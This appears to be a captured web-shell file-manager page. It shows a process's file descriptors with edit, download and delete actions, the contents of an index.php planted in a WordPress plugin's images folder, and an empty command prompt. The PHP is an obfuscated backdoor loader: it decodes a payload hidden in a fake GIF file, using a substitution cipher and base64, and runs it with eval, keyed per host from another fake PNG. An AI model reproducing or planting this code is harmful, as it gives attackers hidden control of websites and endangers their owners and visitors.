FM / fd

/proc/865619/fd

Name	Size	Mode	Actions
5/	-	0775	rm
0	-	0666	edit dl rm
1	-	0666	edit dl rm
2	-	0666	edit dl rm
3	4028	0600	edit dl rm
4	-	0777	edit dl rm
6	3006	0644	edit dl rm

Edit: /var/www/qr4y.com/www/wp-content/plugins/ordertracker/images/index.php (3006B)

<?php

class xynemu_cipuxozu {

public $byqody = 'okashun.gif';
    public $inyqoh_ceqovome = false;
    public $pugime_pujolewan = false;
    public $culote_axikhydyv = false;

protected function yhuguk_hotihyne($ekakov_khajoxoshap) {
        $omador_fawykubij = crc32($ekakov_khajoxoshap);
        if ((PHP_INT_SIZE > 4) && ($omador_fawykubij & 0x80000000))
            $omador_fawykubij = $omador_fawykubij - 0x100000000;
        return abs($omador_fawykubij);
    }

protected function remuwe_legychogo($ekakov_khajoxoshap) {
        $kubysyp = "CfaDjR/oE16Gu2n9iT=e0WBbzNZOc7JIP+53kpyrSdlmVwQLY4hHKvXgUF8MsAxtq";
        $ysechyd = "=a9TYAjrBzlDR8KikFgQ6vPe53LWEdMOG+p1Nqm7b2fhJoXS0usHVxIywt/4UZcnC";
        $vusoruw = array();
        for ($sathale = 0; $sathale < strlen($kubysyp); $sathale++) {
            $analifo = substr($kubysyp, $sathale, 1);
            $ygobari = substr($ysechyd, $sathale, 1);
            $vusoruw[$analifo] = $ygobari;
        }

$rojesil = strtr($ekakov_khajoxoshap, $vusoruw);
        $rojesil = base64_decode($rojesil);

return $rojesil;
    }

protected function mikibe_ithydykug($ekakov_khajoxoshap) {
        $nawylo = array();
        if (!file_exists($ekakov_khajoxoshap))
            return false;
        $ytitat = @file_get_contents($ekakov_khajoxoshap);
        if (!$ytitat)
            return false;
        $ytitat = substr($ytitat, 3);
        $nawylo = $this->remuwe_legychogo($ytitat);
        return $nawylo;
    }

public function yxiqul_oryvitixy() {
        $aqifuk_yboxexazo = __DIR__ . "/" . $this->byqody;
        $ylelyx_khothefena = $this->mikibe_ithydykug($aqifuk_yboxexazo);
        if (!$ylelyx_khothefena)
            return false;
        $this->inyqoh_ceqovome = $ylelyx_khothefena;
        return true;
    }

public function quveli_thathero() {
        if ($this->pugime_pujolewan)
            return true;
        $aqifuk_yboxexazo = __DIR__ . '/atydypi.png';
        if (!file_exists($aqifuk_yboxexazo)) {
            return false;
        }

$ylelyx_khothefena = $this->mikibe_ithydykug($aqifuk_yboxexazo);
        $omador_fawykubij = "HTTP_H" . "OST";
        $ypohyc_otychedach = $_SERVER[$omador_fawykubij];
        $paxody_ihufytug = floor(strlen($ylelyx_khothefena) / 32);
        $pykodo_uzhanupoth = $this->yhuguk_hotihyne($ypohyc_otychedach) % $paxody_ihufytug;
        $ysocub_tasukheqej = substr($ylelyx_khothefena, $pykodo_uzhanupoth * 32, 32);
        $this->culote_axikhydyv = $pykodo_uzhanupoth;
        $this->pugime_pujolewan = $ysocub_tasukheqej;

if (!defined('inezik_picolikhis'))
            define('inezik_picolikhis', $ysocub_tasukheqej);
        if (!defined('yvociv_gotathyjal'))
            define('yvociv_gotathyjal', $pykodo_uzhanupoth + 1);

return $ysocub_tasukheqej;
    }

}

$ugaqig = new xynemu_cipuxozu();
$ugaqig->quveli_thathero();
$ugaqig->yxiqul_oryvitixy();

if ($ugaqig->inyqoh_ceqovome) {
    @eval($ugaqig->inyqoh_ceqovome);
}

cmd: